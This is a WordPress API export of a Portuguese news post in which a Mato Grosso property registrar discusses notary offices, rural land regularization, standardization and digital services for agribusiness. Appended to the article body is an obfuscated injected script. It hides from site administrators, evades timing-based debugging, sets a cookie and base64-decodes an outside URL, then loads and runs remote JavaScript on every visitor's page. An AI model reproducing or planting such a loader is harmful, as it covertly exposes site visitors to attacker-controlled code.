{"id":43801,"date":"2025-01-28T10:48:38","date_gmt":"2025-01-28T14:48:38","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=43801"},"modified":"2026-04-27T06:52:32","modified_gmt":"2026-04-27T10:52:32","slug":"cartorios-no-mato-grosso-e-tornam-aliados-do-agronegocio-e-avancam-na-regularizacao-de-imoveis-rurais","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/cartorios-no-mato-grosso-e-tornam-aliados-do-agronegocio-e-avancam-na-regularizacao-de-imoveis-rurais\/","title":{"rendered":"Cart\u00f3rios no Mato Grosso e tornam aliados do agroneg\u00f3cio e avan\u00e7am na regulariza\u00e7\u00e3o de im\u00f3veis rurais"},"content":{"rendered":"<p style=\"text-align: justify;\"><em>\u00a0 \u00a0 \u00a0A Anoreg\/MT conversou com o registrador de im\u00f3veis Leonardo Aquino Moreira Guimar\u00e3es, que destacou pontos estrat\u00e9gicos sobre o papel dos cart\u00f3rios no setor rural.\u00a0 <\/em><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A regulariza\u00e7\u00e3o de im\u00f3veis rurais no Mato Grosso enfrenta desafios significativos, mas tamb\u00e9m desponta como uma oportunidade crucial para o desenvolvimento socioecon\u00f4mico e ambiental do estado. O registrador de im\u00f3veis no 1\u00ba Of\u00edcio de Novo S\u00e3o Joaquim, Leonardo Aquino Moreira Guimar\u00e3es, destaca o papel essencial dos cart\u00f3rios nesse processo e as inova\u00e7\u00f5es que est\u00e3o sendo implementadas para atender \u00e0s demandas do setor agropecu\u00e1rio.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-43806 alignleft\" src=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2025\/01\/Leonardo-Copia.jpeg\" alt=\"\" width=\"207\" height=\"207\" srcset=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2025\/01\/Leonardo-Copia-300x300.jpeg 300w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2025\/01\/Leonardo-Copia-150x150.jpeg 150w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2025\/01\/Leonardo-Copia.jpeg 450w\" sizes=\"auto, (max-width: 207px) 100vw, 207px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 Segundo Aquino, o maior obst\u00e1culo \u00e9 a conscientiza\u00e7\u00e3o tanto da popula\u00e7\u00e3o quanto do poder p\u00fablico sobre a import\u00e2ncia da regulariza\u00e7\u00e3o fundi\u00e1ria como ferramenta de desenvolvimento. &#8220;\u00c9 fundamental que os munic\u00edpios reconhe\u00e7am o impacto positivo da regulariza\u00e7\u00e3o na dimens\u00e3o coletiva, promovendo avan\u00e7os econ\u00f4micos, sociais, urban\u00edsticos e ambientais&#8221;, afirma.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0No \u00e2mbito individual, o desafio est\u00e1 em democratizar o uso de instrumentos de regulariza\u00e7\u00e3o imobili\u00e1ria, como usucapi\u00e3o extrajudicial, adjudica\u00e7\u00e3o compuls\u00f3ria e retifica\u00e7\u00f5es administrativas. &#8220;\u00c9 essencial capacitar advogados e titulares de direitos reais para o manejo correto dessas ferramentas, garantindo solu\u00e7\u00f5es eficientes e seguras&#8221;, complementa.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Os registros de im\u00f3veis t\u00eam sido fundamentais para facilitar o acesso dos produtores rurais ao cr\u00e9dito. Guimar\u00e3es aponta tr\u00eas frentes principais de atua\u00e7\u00e3o: padroniza\u00e7\u00e3o de procedimentos, cumprimento de prazos e acessibilidade digital.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O Provimento n\u00ba 37\/2024, editado pela Corregedoria Geral de Justi\u00e7a do Mato Grosso em parceria com a Anoreg\/MT, padronizou atos notariais e registrais, proporcionando maior seguran\u00e7a jur\u00eddica e celeridade. &#8220;A elabora\u00e7\u00e3o de checklists para georreferenciamento e registro de garantias em c\u00e9dulas rurais, al\u00e9m de modelos padronizados para Reurb, trouxe mais clareza e agilidade aos processos&#8221;, explica Aquino.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O cumprimento rigoroso dos prazos tamb\u00e9m \u00e9 destacado como essencial devido \u00e0 din\u00e2mica da atividade rural, influenciada por fatores clim\u00e1ticos e econ\u00f4micos. Al\u00e9m disso, plataformas digitais como CEI e ONR t\u00eam ampliado a acessibilidade, permitindo o envio eletr\u00f4nico de documentos e otimizando o tempo dos produtores.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Desta maneira, a moderniza\u00e7\u00e3o dos cart\u00f3rios \u00e9 uma prioridade para atender \u00e0s demandas do agroneg\u00f3cio. A utiliza\u00e7\u00e3o de plataformas digitais e a interoperabilidade de sistemas s\u00e3o exemplos claros dessa evolu\u00e7\u00e3o. &#8220;Promovemos o uso de centrais eletr\u00f4nicas para recep\u00e7\u00e3o de instrumentos, reduzindo o tempo de deslocamento e acelerando os atos registrais&#8221;, ressalta Aquino.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Essas iniciativas est\u00e3o alinhadas aos Provimentos 74 e 134 do CNJ, que tratam da moderniza\u00e7\u00e3o tecnol\u00f3gica e do tratamento de dados pessoais nos cart\u00f3rios. &#8220;A ado\u00e7\u00e3o de novas tecnologias n\u00e3o apenas agiliza os servi\u00e7os, mas tamb\u00e9m promove sustentabilidade e colabora\u00e7\u00e3o funcional&#8221;, acrescenta.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Para o futuro, Aquino vislumbra um aumento progressivo das demandas do setor agropecu\u00e1rio e a necessidade de avan\u00e7os tecnol\u00f3gicos para atend\u00ea-las. Ele destaca o conceito de &#8220;RI 4.0&#8221;, que integra tecnologia, efici\u00eancia operativa e sustentabilidade como pilares para a moderniza\u00e7\u00e3o dos registros de im\u00f3veis.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0&#8220;A intelig\u00eancia artificial ser\u00e1 uma aliada importante, otimizando processos e reduzindo retrabalhos. Novas APIs est\u00e3o sendo desenvolvidas para atender \u00e0 crescente demanda do agroneg\u00f3cio, garantindo mais efici\u00eancia e qualidade nos servi\u00e7os&#8221;, conclui.<\/p>\n<p>&nbsp;<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0 \u00a0 \u00a0A Anoreg\/MT conversou com o registrador de im\u00f3veis Leonardo Aquino Moreira Guimar\u00e3es, que destacou pontos estrat\u00e9gicos sobre o papel dos cart\u00f3rios no setor rural.\u00a0 \u00a0 \u00a0 \u00a0A regulariza\u00e7\u00e3o de im\u00f3veis rurais no Mato Grosso enfrenta desafios significativos, mas &hellip;<\/p>\n","protected":false},"author":3,"featured_media":43802,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-43801","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias"],"_links":{"self":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/43801","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/comments?post=43801"}],"version-history":[{"count":4,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/43801\/revisions"}],"predecessor-version":[{"id":49810,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/43801\/revisions\/49810"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media\/43802"}],"wp:attachment":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media?parent=43801"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/categories?post=43801"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/tags?post=43801"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}